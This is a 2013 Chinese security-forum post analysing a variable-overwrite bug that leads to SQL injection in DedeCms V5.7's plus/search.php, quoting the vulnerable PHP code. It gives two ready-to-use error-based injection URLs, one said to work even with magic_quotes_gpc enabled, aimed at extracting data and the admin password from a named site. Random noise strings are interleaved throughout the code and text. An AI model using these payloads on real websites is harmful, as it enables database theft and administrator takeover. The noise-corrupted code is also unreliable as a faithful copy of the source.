中国网络渗透测试联盟

标题: DedeCms V57 plus/search.php文件SQL注射 [打印本页]

作者: admin    时间: 2013-1-19 08:18
标题: DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
0 y/ c+ N5 R6 y" G9 c  O( [作者: c4rp3nt3r@0x50sec.org
: _4 v* `: ~5 p5 j1 k0 l" y/ k1 YDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
( [2 V1 x! a  b5 T6 \ . y7 e$ X9 g. o  d8 N  x+ T
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
9 v& V% T5 `, r' ]
; V: X- S- k/ ]/ A$ t+ U4 ^$ ]1 S============
( X" D' r3 p9 t
* J3 ?$ V8 Y4 X6 E( P% Z1 R! q " L( a; H- N6 _2 D9 `  V% H6 U
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
4 W* Z1 @8 p( m! ]/ y5 Q9 I
2 X% ~# k2 L+ {3 f2 r* Trequire_once(dirname(__FILE__).”/../include/common.inc.php”);* H9 f* s& o. ?" g0 I9 b) s9 r
require_once(DEDEINC.”/arc.searchview.class.php”);5 V) A& \+ P) C: ^% y! ?

& f- l: {0 ]1 D/ t- n1 ]0 x$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
3 D/ K) f9 r- A& ?  U. ?" R, W$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
8 {# M2 r" N. x+ ?$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;# o/ \; p+ B- a3 |0 O
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;- L6 \& y6 m9 ?: S5 e8 m
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
7 j3 S4 K" d3 p% U5 q, Y
5 [( ~; X6 O% B$ Zif(!isset($orderby)) $orderby=”;
# y2 u+ S& Z4 Q, P& x" Helse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
3 ?5 K3 e3 X6 t2 E* U
9 d( N3 p+ p+ J9 V3 Z3 X2 P6 I, D - _+ G) r: ^9 ]" Y0 Z7 X7 }" f
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
+ n' n6 B0 S! h! K4 Belse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
4 z! Y8 l4 h3 v3 B3 {, e% s8 a
3 j$ l1 Q1 }( g- Z8 A+ l" u* f8 }if(!isset($keyword)){
/ O: f+ B5 T: h    if(!isset($q)) $q = ”;& h9 _- d5 @8 K% N- d: E
    $keyword=$q;
7 h/ V' N8 p' z* j8 d7 K}
5 }% s: \$ Q" p0 i* G 6 A7 b* m4 P* m: e; F1 q
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
# b# B/ c0 b( [+ B- ?2 t1 q 9 r4 _9 w3 x3 Y5 C& N: x$ L
//查找栏目信息
4 O6 C/ h5 T6 U! Cif(empty($typeid))5 n# l+ t+ W6 u- X
{" I! P% [6 K5 r
    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
+ y( M& S8 b1 c; R0 `/ w' K    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )( _' V9 N/ `& @% A3 D2 B
    {8 m8 r) o% [6 e) ?! _
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);* D$ B' j) ^: m8 l: \
        fwrite($fp, “<”.”?php\r\n”);2 ~/ c$ ^2 ^2 x1 ~. ~# Q
        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
2 `" @6 j! g/ Y" U$ T) U; W% i        $dsql->Execute();
& A6 \- y/ @3 J6 k4 H        while($row = $dsql->GetArray())( x  k. g+ m0 \$ B2 x
        {3 T( U8 a. G4 L4 k7 T3 X
            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
/ G6 |9 @. s- c. f# M/ I( ]/ B        }
' Q: Z1 s1 d& E        fwrite($fp, ‘?’.'>’);
4 f, }( j1 U& r# H$ G        fclose($fp);7 T9 I/ _/ [4 j4 k2 ^+ U% R& P9 D; x
    }
0 |- v' D- |, j) j    //引入栏目缓存并看关键字是否有相关栏目内容, J" _* A) O; m- G
    require_once($typenameCacheFile);
) ]0 V# F* [6 Z; j//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
2 @3 E/ V0 m; v4 w/ D1 ?' [//
6 L1 s9 O7 C& w    if(isset($typeArr) && is_array($typeArr))  F! G9 H7 y* L$ |. A' _* Z
    {) H# M" S5 G& ^! A
        foreach($typeArr as $id=>$typename)7 z/ i1 ?8 \2 c& z0 I3 U0 j4 C
        {
7 `$ h7 a3 n. h- I$ `) g3 v) t4 A $ ~8 U" ~' f6 I$ J# |
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过  H+ N6 ]' a# H  m1 |1 h4 l. r
            if($keyword != $keywordn)0 a; K8 C" p  ?* T3 W* q2 V
            {
3 ?( U9 ^2 |2 k( `  u% Q& S) l; ^                $keyword = $keywordn;
1 O! Z  P2 I' J/ m                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
) K9 s; I# G' b/ Z& z                break;
) |& }3 T5 D( p1 y            }
% h7 p: t$ S, E$ c9 l        }( w& ?. C: S" r
    }4 g7 R2 f9 ^6 ~3 q( s+ ?" p( h
}. q9 ^% s2 ~; g: k; w  U1 S0 w0 L
然后plus/search.php文件下面定义了一个 Search类的对象 .
  O1 n* Y0 B9 o. u, G在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
$ q$ m, I9 P+ ]2 x& ~$ l$this->TypeLink = new TypeLink($typeid);
; W+ n' {7 S+ u% v$ F. u1 E3 V 6 {( u" Z3 B7 I
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
4 |4 G! X7 c* M' }% |% t( w : o  w8 `# X9 K: t2 |$ _4 l
class TypeLink5 i: W/ H, N; y
{
4 ]( x- b# w% w9 `    var $typeDir;1 B* R5 j8 r! S& E9 }* x
    var $dsql;
5 Y, E/ x  G: u3 o/ V: |& W    var $TypeID;6 N2 [+ J1 H/ i: F
    var $baseDir;
: h" [1 c4 L  W& E8 U0 S0 K    var $modDir;
7 T$ Y. J0 C5 J- t    var $indexUrl;
4 i& B( c, \" r% b% C  ]' w6 l" l    var $indexName;
3 B" l1 f( n8 L7 f    var $TypeInfos;
! q- K, x1 v; l9 O1 n* N5 D    var $SplitSymbol;$ K' x8 y. m6 g
    var $valuePosition;
2 W, q+ i, ?3 ]( H* z    var $valuePositionName;
0 y3 ^8 k( @0 z' Y. I/ ?    var $OptionArrayList;//构造函数///////3 \$ E" t0 `# ?% s4 n/ ]9 a
    //php5构造函数; ^) V" j" y- {( B# S; E) [
    function __construct($typeid)
/ g' W$ o" _4 W' S  x' }    {
: k5 ^6 e8 g: f! S, D3 Q        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];+ ]. p& H# A/ p0 c
        $this->indexName = $GLOBALS['cfg_indexname'];
1 H: e  N* |3 ~& O! {' J2 M1 O        $this->baseDir = $GLOBALS['cfg_basedir'];  |  A7 g' s3 l/ \& [# U/ y) E
        $this->modDir = $GLOBALS['cfg_templets_dir'];
, o8 D7 o1 ?4 b' L' |) x" r/ D! L% ]# D        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
, C2 a% q  M9 ^* J        $this->dsql = $GLOBALS['dsql'];
; c( Q; C/ C) _7 w6 U; w% {        $this->TypeID = $typeid;. U. y" @( z* \, @; r* S  A  h2 i$ M
        $this->valuePosition = ”;- j* j& v) I7 A& C
        $this->valuePositionName = ”;
% W9 ^( `7 a  c6 n3 {1 r! ?        $this->typeDir = ”;; \4 ?+ i% w6 Y( L4 N6 v5 Y
        $this->OptionArrayList = ”;1 L4 G; T+ C& i" V

! u! N3 Z/ q! F        //载入类目信息
- s7 K) }, {2 w& K / |- d* T" v+ c+ e$ ^) w, f1 x7 @" ]& b
        <font color=”Red”>$query = “SELECT tp.*,ch.typename as7 A; ]) V" a$ v1 _9 H; x7 _
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join: ], ~* j" A3 H! F; e4 [
`#@__channeltype` ch# R% ^4 ], k# l$ i3 |5 S. Q. C
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
: b; u* X4 Z( e
) A% K3 U# U2 d- G8 j/ D        if($typeid > 0)% {8 K' T6 N9 h* f
        {* o3 h6 X0 l1 t; S
            $this->TypeInfos = $this->dsql->GetOne($query);5 r) r3 l7 D/ ^9 U3 R9 o" P: q
利用代码一 需要 即使magic_quotes_gpc = Off) p" m, h, m0 k0 n* w8 c
% W) z! k5 Y) E4 X! n
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
" h5 s& k# \. Q1 z# n* i. S 7 ^$ Z6 R' W5 `- q8 _$ ^
这只是其中一个利用代码… Search 类的构造函数再往下
. y+ b- N" f' ^2 R( p! @3 y! W% c ) g# @9 `; d, `' V  o7 t# w( g& i
……省略
$ [* Y0 j7 U5 v! y' }5 b0 k' a& }$this->TypeID = $typeid;% _# B3 M! l+ V+ m
……省略
- A" x9 H1 x" V4 l- ^if($this->TypeID==”0″){- @; b3 c: F- f3 Z' A
            $this->ChannelTypeid=1;
7 d+ g1 B9 K  b0 A        }else{
4 t2 }0 L2 E8 p            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲7 j7 Y1 i1 m' t' h  a* u. g
//现在不鸡肋了吧亲…
9 c  W9 z. c6 J: f2 `            $this->ChannelTypeid=$row['channeltype'];
# K2 X, b# P6 z0 ` 8 ~6 c$ B8 O; ^4 B% ^) H
        }
; U7 |* P$ k; D5 r, B% c) Y9 m3 ^3 y* g利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.! u9 F9 o/ i' s  N+ H  `
! b- P: ~% l. q, t3 P9 O: k% q& v5 |
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
( i9 u$ ]& }" g
' [. o, k( ^- n, j6 s& l' Z如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站" x9 B2 Y: m& c2 `' `8 t





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2